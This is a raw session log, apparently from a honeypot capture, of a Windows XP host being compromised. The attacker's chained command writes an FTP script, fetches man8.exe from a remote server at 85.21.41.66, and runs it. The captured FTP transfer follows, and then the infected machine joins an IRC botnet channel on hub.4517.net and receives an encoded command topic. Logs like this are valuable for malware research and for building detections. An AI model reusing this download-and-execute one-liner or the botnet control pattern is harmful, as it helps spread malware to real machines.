VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: echo open 85.21.41.66 2555 >> asr_nqqmg &echo user xkidx 0xfff >> asr_nqqmg &echo binary >> asr_nqqmg &echo get man8.exe >> asr_nqqmg &echo quit >> asr_nqqmg &ftp -nv -s:asr_nqqmg &start man8.exe VICTIM: Connected to 85.21.41.66. ATTACKER: 220 FTP server ready. VICTIM: USER xkidx ATTACKER: 331 User xkidx OK. Password required VICTIM: PASS 0xfff ATTACKER: 230-User xkidx has group access to: 1004 1003 80 230 OK. Current directory is / VICTIM: TYPE I ATTACKER: 200 TYPE is now 8-bit binary VICTIM: PORT 192,168,1,209,4 ATTACKER: 200 PORT command successful ATTACKER: RETR man8.exe ATTACKER: 150-Connecting to port 1033150 138.1 kbytes to download ATTACKER: 226-File successfully transferred226 1.271 seconds (measured here), 108.68 Kbytes per second VICTIM: PASS secretpass VICTIM: NICK P|immfhnnadUSER bcdlvxwsj * 0 :USA|XP|711 ATTACKER: :hub.4517.net 001 P|immfhnnad :P|immfhnnad!bcdlvxwsj@192.168.1.232:hub.4517.net 1 P|immfhnnad :Login: :hub.4517.net 376 P|immfhnnad : VICTIM: USERHOST P|immfhnnad ATTACKER: :hub.4517.net 302 P|immfhnnad :P|immfhnnad=+bcdlvxwsj@192.168.1.232 VICTIM: USERHOST P|immfhnnadMODE P|immfhnnad JOIN #mm RSA ATTACKER: :hub.4517.net 302 P|immfhnnad :P|immfhnnad=+bcdlvxwsj@192.168.1.232 :hub.4517.net 221 P|immfhnnad +:P|immfhnnad!bcdlvxwsj@192.168.1.232 JOIN :#mm:hub.4517.net 332 P|immfhnnad #mm :+t0Cc2/G5oAh06w2GQ0tQkXD1bqhV7/ipBe01hiyOt1tAGoD0bni40/nobx.1Yk9c/0huyUx0ugcQs0puLM0.F7Xil0nzHEC.zO2Ji.qiFiN1SKMD1/U7WMz.Y32Vl.icZdS/6IIdG/IzRhU/kSotz0n075k/wLZMb.FzK1Y/C5aBp.H2I7z1vdVFY0rM6ME135Qy/1qcS5D0